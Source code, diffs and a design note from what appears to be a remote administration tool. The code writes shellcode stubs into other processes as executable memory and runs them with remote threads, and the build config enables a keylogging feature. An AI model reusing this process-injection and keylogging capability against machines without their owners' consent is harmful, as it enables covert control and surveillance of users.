DWORD64 tmpSize = dwSize;
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
{
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
if (!NtProtectVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
{
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
if (!NtReadVirtualMemory) return 0;
DWORD64 read = 0;
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
if (!ret) {
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
{
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
if (!NtWriteVirtualMemory) return 0;
DWORD64 written = 0;
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
if (!ret) {
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
DWORD64 lpStartAddress,
DWORD64 lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId)
{
static X64Call RtlCreateUserThread("RtlCreateUserThread");
if (!RtlCreateUserThread) return 0;
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
ULONG stackSize = dwStackSize;
DWORD64 handle = 0;
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
if (!status) return (HANDLE)handle;
SetLastError64(status);
return NULL;
}
#endif
class ProcessWriter
{
public:
template<typename T>
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
: _autoRelease(TRUE)
, _hProcess(hProcess)
, _dw64Address(0)
, _dwSize(dwSize)
{
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
return;
SIZE_T written = 0;
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
_dw64Address = 0;
}
}
~ProcessWriter() {
if (_dw64Address && _autoRelease)
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
}
void SetDontRelese() {
_autoRelease = FALSE;
}
operator DWORD64() {
return (DWORD64)_dw64Address;
}
#ifdef _WIN64
template<typename T>
operator T*() {
return (T*)_dw64Address;
}
#endif
private:
BOOL _autoRelease;
HANDLE _hProcess;
#ifdef _WIN64
LPVOID _dw64Address;
#else
DWORD64 _dw64Address;
#endif
SIZE_T _dwSize;
};
namespace {
std::string makeShellCode(int cnt, bool is64Bit)
{
if(is64Bit) {
// see X64Delegator_disassemble for details
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3 };
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
if(!cnt) return templ_x64;
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
if(cnt >= 1)
templ_x64[16] = 0x3b;
if(cnt < 3) {
if(cnt >= 1) {
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
}
if(cnt >= 2) {
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
}
}
else {
templ_x64[20] = 0x49;
templ_x64[21] = 0x10;
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
if(cnt >= 4) {
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
}
if(cnt >= 5) {
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
}
if(cnt >= 6) {
templ_x64[21] = 0x38;
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
templ_x64[50] = 0x28;
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
}
// TODO
}
return templ_x64;
}
// see X86Delegator_disassemble for details
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
0x8b, 0xe5, 0x5d, 0xc3 };
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
// je distance
templ_x86[9] += cnt * 7;
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
int pos = 13;
for(int i = 0; i < cnt; ++i) {
switch(i % 3) {
case 0:
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
break;
case 1:
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
break;
case 2:
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
break;
}
templ_x86[pos + 2] = (cnt - i) << 2;
pos += 7;
}
switch(cnt % 3) {
case 0:
templ_x86[pos + 1] = 0x08;
break;
case 1:
templ_x86[pos + 1] = 0x02;
break;
case 2:
templ_x86[pos + 1] = 0x11;
break;
}
return templ_x86;
}
template<int argCnt, bool is64Bit>
const std::string& shellCode() {
static std::string kCode = makeShellCode(argCnt, is64Bit);
return kCode;
}
}
class YAPICall
{
template<typename T>
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
return DWORD64(v);
}
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
private:
ProcessWriter* name;
};
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
private:
HANDLE _hProcess;
ProcessWriter* _sc;
DWORD64 func;
BOOL _dw64Ret;
DWORD _dwTimeout;
BOOL _is64Bit;
template<int argCnt>
bool initShellCoder(ProcessWriter*& sc) {
if(sc) return false;
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
return true;
}
template<typename T>
DWORD64 call(const std::vector<T>& param) {
ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
if (!p) return -1;
HANDLE hThread = 0;
if (_is64Bit)
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
else {
#ifdef _WIN64
// see X64toX86_disassemble for details
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
sc->SetDontRelese();
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
#else
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
#endif
}
if (!hThread) return -1;
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
_sc->SetDontRelese();
CloseHandle(hThread);
return -1;
}
if (!_is64Bit || !_dw64Ret) {
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
DWORD64 ret = 0;
CloseHandle(hThread);
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
return ret;
}
public:
YAPICall(HANDLE hProcess, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, moudle, funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
if(!func) {
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
_is64Bit = FALSE;
}
}
~YAPICall() { if (_sc) delete _sc; }
operator DWORD64() { return func; }
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
#define CALLERSX(n) \
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
bool b = initShellCoder<n>(_sc);\
if(!b || !func || !_sc || !*_sc) return -1;\
detail::GCHelper helper;\
if(_is64Bit) {\
std::vector<DWORD64> param(n + 2, 0);\
param[0] = _dw64Ret;\
param[1] = func;\
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
return call<DWORD64>(param);\
}\
std::vector<DWORD> param(n + 1, 0);\
param[0] = (DWORD)func;\
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
return call<DWORD>(param);\
}
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
CALLERSX( 0)
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
#undef CALLERSX
#undef CALLERS
#undef TO_DWORD_ARRAY_DECL
#undef TO_DWORD64_ARRAY_DECL
};
#define YAPI(h, m, f) YAPICall(h, m, #f)
}
+32
View File
@@ -317,7 +317,15 @@ enum {
TOKEN_REPORT_LOG = 156, TOKEN_REPORT_LOG = 156,
COMMAND_FORBIDDEN = 157, COMMAND_FORBIDDEN = 157,
CMD_CUSTOM_CURSOR = 158, CMD_CUSTOM_CURSOR = 158,
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
TOKEN_DECRYPT = 199, TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表 TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识 COMMAND_REG_FIND, // 注册表 管理标识
@@ -355,8 +363,32 @@ enum {
COMMAND_TEXT_REPLACE = 249, COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250, TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器 TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
}; };
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
#pragma pack(push, 1) #pragma pack(push, 1)
struct SignatureResp { struct SignatureResp {
char msg[64]; char msg[64];
+1
View File
@@ -16,6 +16,7 @@
#define ENABLE_AUDIO_MNG TRUE // 语音管理 #define ENABLE_AUDIO_MNG TRUE // 语音管理
#define ENABLE_VIDEO_MNG TRUE // 视频管理 #define ENABLE_VIDEO_MNG TRUE // 视频管理
#define ENABLE_SERVICE_MNG TRUE // 服务管理 #define ENABLE_SERVICE_MNG TRUE // 服务管理
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
#define ENABLE_REGISTRY TRUE // 注册表管理 #define ENABLE_REGISTRY TRUE // 注册表管理
#define ENABLE_KEYBOARD TRUE // 键盘记录 #define ENABLE_KEYBOARD TRUE // 键盘记录
+12
View File
@@ -256,6 +256,18 @@ public:
} }
}; };
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
// docs/FileTransferSpeed_Design.md)。
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
{
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
durMs = cfg.GetInt("transfer", "DurationMs", 50);
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
if (durMs < 0 || durMs > 2000) durMs = 50;
}
// 配置读取类: 注册表配置(带键句柄缓存) // 配置读取类: 注册表配置(带键句柄缓存)
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃 // 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
class iniFile : public config class iniFile : public config
+21 -1
View File
@@ -4,6 +4,8 @@
#include <iphlpapi.h> #include <iphlpapi.h>
#include <ws2tcpip.h> #include <ws2tcpip.h>
#include <WinInet.h> #include <WinInet.h>
#include <map>
#include <mutex>
#include "logger.h" #include "logger.h"
#include "jsoncpp/json.h" #include "jsoncpp/json.h"
@@ -200,6 +202,18 @@ public:
{ {
if (IP.empty()) return ""; if (IP.empty()) return "";
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
static std::map<std::string, std::string> geoCaches;
static std::mutex geoMutex;
{
std::lock_guard<std::mutex> lk(geoMutex);
auto it = geoCaches.find(IP);
if (it != geoCaches.end())
return it->second;
}
std::string ip = IP; std::string ip = IP;
if (isLocalIP(ip)) { if (isLocalIP(ip)) {
ip = getPublicIP(); ip = getPublicIP();
@@ -249,7 +263,13 @@ public:
InternetCloseHandle(hInternet); InternetCloseHandle(hInternet);
if (location.empty() && IsPrivateIP(ip)) { if (location.empty() && IsPrivateIP(ip)) {
return "Local Area Network"; location = "Local Area Network";
}
// 只缓存成功结果;失败不缓存,允许下次重试。
if (!location.empty()) {
std::lock_guard<std::mutex> lk(geoMutex);
geoCaches[IP] = location;
} }
return location; return location;
} }
+7 -1
View File
@@ -152,6 +152,12 @@ public:
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message: id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
id + "[" + timestamp + "] " + message; id + "[" + timestamp + "] " + message;
// 方案B:在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
logEntry.pop_back();
logEntry += '\n';
// Always record to in-memory ring buffer regardless of enable flag. // Always record to in-memory ring buffer regardless of enable flag.
{ {
std::lock_guard<std::mutex> lock(m_memMutex); std::lock_guard<std::mutex> lock(m_memMutex);
@@ -305,7 +311,7 @@ private:
std::lock_guard<std::mutex> lock(fileMutex); std::lock_guard<std::mutex> lock(fileMutex);
std::ofstream logFile(logFileName, std::ios::app); std::ofstream logFile(logFileName, std::ios::app);
if (logFile.is_open()) { if (logFile.is_open()) {
logFile << logEntry << std::endl; logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
} }
} }
+259
View File
@@ -0,0 +1,259 @@
# TCP/UDP 连接管理设计
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
>
> 需求原文(三点,逐一对应下文):
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
> 2. 客户端需要增加一个管理类来处理服务端请求;
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
## 1. 目标与范围
### MVP
| 项 | 说明 |
|---|---|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
### 非目标(Non-goals,本次不做)
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
## 2. 复用现状
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
### 客户端模板(读参考实现,全部已核实)
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
```
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub; }
m_hThread[m_ulThreadCount++].h =
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
```
连接管理照抄,仅换 `LoopConnectionManager`。
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
### 服务端模板(读参考实现,全部已核实)
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
### 工具栏(读参考,全部已核实)
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
`hiddenCount` 语义不变。
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
### 网络 API(客户端,新增依赖)
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
## 3. 协议与数据结构
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
```
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
```
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
```c
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
```
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
### 3.3 列表响应(客户端 → 服务端)
```
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
```
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
### 3.4 强制断开请求(服务端 → 客户端)
```
